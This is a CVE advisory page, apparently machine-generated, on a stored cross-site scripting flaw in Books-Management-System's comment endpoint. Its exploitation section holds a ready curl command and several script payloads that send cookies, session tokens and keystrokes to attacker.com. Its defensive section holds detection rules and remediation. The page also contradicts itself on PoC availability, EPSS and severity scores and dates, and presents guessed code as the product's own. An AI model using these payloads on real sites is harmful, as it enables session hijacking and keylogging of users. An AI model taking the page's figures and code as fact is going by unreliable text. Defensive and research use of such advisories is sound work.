☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3962

CVE-2025-3962 Vulnerability in Books-Management-System
📅 PUBLISHED: 2025-04-27 07:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3962 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in the withstars Books-Management-System version 1.0. The flaw resides in the /api/comment/add endpoint of the Comment Handler component, where the content argument is not sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript, which will execute in the context of any user viewing the affected comment. The product is explicitly marked as end-of-life by the maintainer, meaning no official patch will be released. The EPSS score is 0.0%, indicating low active exploitation in the wild at the time of analysis, but the public availability of a proof-of-concept (PoC) increases the risk for unpatched instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP/JavaScript application. No supply chain component is affected.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed to submit a comment.
  • User Interaction: Required (UI:R) – The victim must view the page containing the malicious comment.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
  • Confidentiality Impact: Low (C:L) – Limited data exfiltration possible.
  • Integrity Impact: Low (I:L) – Content can be modified via script.
  • Availability Impact: None (A:N) – No direct denial-of-service.

Threat Level: Medium. The low EPSS score and required user interaction reduce immediate risk, but the public PoC and lack of patch make it a persistent threat for any organization still using this unsupported software.

Deep Dive & Mechanics

The Books-Management-System is a simple PHP application for managing book records and user comments. The vulnerability is a classic stored XSS in the comment submission feature.

Root Cause: The /api/comment/add endpoint accepts a POST request with a content parameter. This input is directly inserted into the database without any sanitization, validation, or output encoding. When the comment is later retrieved and rendered on the book detail page, the unsanitized HTML/JavaScript is executed by the browser.

Attack Flow:

  1. Attacker sends a POST request to /api/comment/add with a malicious payload in the content field, e.g., <script>alert('XSS')</script>.
  2. The server stores the payload in the database.
  3. A legitimate user visits the book detail page that loads the comments.
  4. The server retrieves the malicious comment and outputs it directly into the HTML.
  5. The victim's browser executes the injected script.

Why it works: The application lacks any Content Security Policy (CSP) headers and does not use output encoding functions like htmlspecialchars() in PHP. The comment is likely rendered using echo $comment['content']; or similar.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code to a secure implementation.

Vulnerable Code (PHP):

// /api/comment/add
$content = $_POST['content'];
$book_id = $_POST['book_id'];
$sql = "INSERT INTO comments (book_id, content) VALUES ('$book_id', '$content')";
mysqli_query($conn, $sql);

Patched Code (Secure Implementation):

// /api/comment/add
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$book_id = intval($_POST['book_id']);
$stmt = $conn->prepare("INSERT INTO comments (book_id, content) VALUES (?, ?)");
$stmt->bind_param("is", $book_id, $content);
$stmt->execute();

Key Differences:

  • Input Sanitization: The patched version uses htmlspecialchars() to encode HTML special characters, preventing script execution.
  • Parameterized Queries: The patched version uses prepared statements to prevent SQL injection (though not the primary issue here, it's a best practice).
  • Type Casting: intval() ensures book_id is an integer.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running instance of Books-Management-System 1.0.
  • Network access to the /api/comment/add endpoint.

Exploit Steps:

  1. Identify a target book ID (e.g., 1).
  2. Send a malicious POST request using curl:
    curl -X POST http://target/api/comment/add \
      -d "book_id=1&content=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
    
  3. Wait for an administrator or user to view the book's comment section.
  4. The victim's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payloads:

  • Steal session tokens: <script>new Image().src='https://attacker.com/steal?token='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
  • Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Detection & Response)

Detection:

  • Monitor HTTP POST requests to /api/comment/add for suspicious patterns in the content parameter (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block common XSS payloads.
  • Review server logs for unusual outbound connections from the web server (potential data exfiltration).

Response:

  • Immediately isolate the affected server.
  • Remove malicious comments from the database:
    DELETE FROM comments WHERE content LIKE '%<script>%';
    
  • If possible, implement a reverse proxy with XSS filtering (e.g., ModSecurity) in front of the application.
  • Migrate to a supported alternative solution.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /api/comment/add with content containing <script>, onerror, onload, or base64-encoded JavaScript.
  • Outbound HTTP/HTTPS requests to unknown domains from the web server (data exfiltration).

File IOCs:

  • Suspicious entries in the comments table of the database containing HTML/JavaScript.
  • Log entries showing repeated POST requests to /api/comment/add from the same IP.

Host IOCs:

  • Unexpected child processes spawned by the web server (e.g., curl, wget).
  • Modified web pages (defacement) visible in the browser.

Detection Engineering

YARA Rule

rule CVE_2025_3962_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-3962 in Books-Management-System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3962"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
        $xss5 = /<img[^>]+src\s*=\s*["']?[^"'\s>]+["']?\s*[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: Suspicious POST to Books-Management-System Comment Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts against CVE-2025-3962
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/comment/add'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3962 XSS Attempt in Books-Management-System"; flow:to_server; content:"POST"; http_method; content:"/api/comment/add"; http_uri; content:"content="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If the Books-Management-System is still in use, isolate it from the internet and sensitive networks.
  2. Remove malicious comments: Manually inspect and delete any comments containing JavaScript from the database.
  3. Implement a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.

Long-Term Solutions:

  1. Migrate to a supported alternative: Since the product is end-of-life, migrate to a maintained book management solution.
  2. Code fix (if source is available): Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
  3. Add Content Security Policy (CSP): Implement a strict CSP header to mitigate XSS even if injection occurs:
    Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none';
    

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All analysis is based on publicly available information and should be verified before action.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3962/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.